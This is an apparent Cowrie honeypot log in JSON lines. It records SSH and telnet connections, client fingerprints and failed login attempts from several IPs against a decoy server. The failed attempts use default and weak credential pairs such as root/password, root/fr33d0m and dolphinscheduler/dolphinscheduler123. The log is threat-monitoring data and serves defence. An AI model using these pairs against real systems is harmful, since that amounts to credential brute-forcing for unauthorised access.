{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:47.317231Z","src_ip":"43.130.36.39","session":"54ef8746e7d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:47.385850Z","src_ip":"43.130.36.39","session":"54ef8746e7d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2024","message":"login attempt [root/server@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:47.707295Z","src_ip":"43.130.36.39","session":"54ef8746e7d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:48.779074Z","src_ip":"43.130.36.39","session":"54ef8746e7d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39258,"dst_ip":"10.17.0.5","dst_port":22,"session":"e694263832cd","protocol":"ssh","message":"New connection: 45.153.34.112:39258 (10.17.0.5:22) [session: e694263832cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:49.514139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:49.518389Z","src_ip":"45.153.34.112","session":"e694263832cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:49.600540Z","src_ip":"45.153.34.112","session":"e694263832cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:49.851202Z","src_ip":"45.153.34.112","session":"e694263832cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51148,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc47d1de6e59","protocol":"telnet","message":"New connection: 192.119.13.58:51148 (10.17.0.5:23) [session: dc47d1de6e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:50.287613Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:50.960991Z","src_ip":"45.153.34.112","session":"e694263832cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.80429744720459,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:52.991995Z","src_ip":"192.119.13.58","session":"e9c775eed01a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33976,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae2869da2a99","protocol":"ssh","message":"New connection: 45.153.34.112:33976 (10.17.0.5:22) [session: ae2869da2a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:53.039841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:53.079836Z","src_ip":"45.153.34.112","session":"ae2869da2a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:53.259405Z","src_ip":"45.153.34.112","session":"ae2869da2a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:53.626940Z","src_ip":"45.153.34.112","session":"ae2869da2a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.66720914840698,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:53.959542Z","src_ip":"192.119.13.58","session":"a0d8837a0502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.131019830703735,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:53.966127Z","src_ip":"192.119.13.58","session":"9ad805d9ec19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:54.711289Z","src_ip":"45.153.34.112","session":"ae2869da2a99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44132,"dst_ip":"10.17.0.5","dst_port":23,"session":"276461e9aaac","protocol":"telnet","message":"New connection: 192.119.13.58:44132 (10.17.0.5:23) [session: 276461e9aaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:56.340623Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33980,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbda32f60e27","protocol":"ssh","message":"New connection: 45.153.34.112:33980 (10.17.0.5:22) [session: bbda32f60e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:56.859153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:56.864799Z","src_ip":"45.153.34.112","session":"bbda32f60e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:56.947788Z","src_ip":"45.153.34.112","session":"bbda32f60e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:57.195062Z","src_ip":"45.153.34.112","session":"bbda32f60e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.84082388877869,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:58.252298Z","src_ip":"192.119.13.58","session":"2ce459a38563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:58.280829Z","src_ip":"45.153.34.112","session":"bbda32f60e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:58.368952Z","src_ip":"78.138.168.46","session":"e463b5a1d549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":59172,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3dc3c1f778a","protocol":"ssh","message":"New connection: 186.68.83.105:59172 (10.17.0.5:22) [session: e3dc3c1f778a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:58.486617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:58.491845Z","src_ip":"186.68.83.105","session":"e3dc3c1f778a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:58.581231Z","src_ip":"186.68.83.105","session":"e3dc3c1f778a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58504,"dst_ip":"10.17.0.5","dst_port":23,"session":"d25f7e946984","protocol":"telnet","message":"New connection: 192.119.13.58:58504 (10.17.0.5:23) [session: d25f7e946984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:58.760879Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"fr33d0m","message":"login attempt [root/fr33d0m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:58.969406Z","src_ip":"186.68.83.105","session":"e3dc3c1f778a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59628,"dst_ip":"10.17.0.5","dst_port":23,"session":"efbd5d1a3919","protocol":"telnet","message":"New connection: 192.119.13.58:59628 (10.17.0.5:23) [session: efbd5d1a3919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:59.068844Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60184,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d765bc8c5c3","protocol":"telnet","message":"New connection: 192.119.13.58:60184 (10.17.0.5:23) [session: 9d765bc8c5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:59.212850Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:00.061416Z","src_ip":"186.68.83.105","session":"e3dc3c1f778a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41148,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f9b2941f1f1","protocol":"ssh","message":"New connection: 45.153.34.112:41148 (10.17.0.5:22) [session: 8f9b2941f1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:00.702503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:00.708675Z","src_ip":"45.153.34.112","session":"8f9b2941f1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:00.794540Z","src_ip":"45.153.34.112","session":"8f9b2941f1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:01.052861Z","src_ip":"45.153.34.112","session":"8f9b2941f1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.03023386001587,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:01.562876Z","src_ip":"192.119.13.58","session":"ccbd722f2ab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:02.253153Z","src_ip":"45.153.34.112","session":"8f9b2941f1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41186,"dst_ip":"10.17.0.5","dst_port":22,"session":"065f5e579868","protocol":"ssh","message":"New connection: 45.153.34.112:41186 (10.17.0.5:22) [session: 065f5e579868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:04.181036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:04.186496Z","src_ip":"45.153.34.112","session":"065f5e579868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:04.393170Z","src_ip":"45.153.34.112","session":"065f5e579868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:04.815218Z","src_ip":"45.153.34.112","session":"065f5e579868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:05.935406Z","src_ip":"45.153.34.112","session":"065f5e579868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32980,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7692a14238b","protocol":"telnet","message":"New connection: 192.119.13.58:32980 (10.17.0.5:23) [session: e7692a14238b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:06.254823Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41210,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cbe539ecc5e","protocol":"ssh","message":"New connection: 45.153.34.112:41210 (10.17.0.5:22) [session: 5cbe539ecc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:07.964476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:08.009842Z","src_ip":"45.153.34.112","session":"5cbe539ecc5e","protocol":"ssh"}
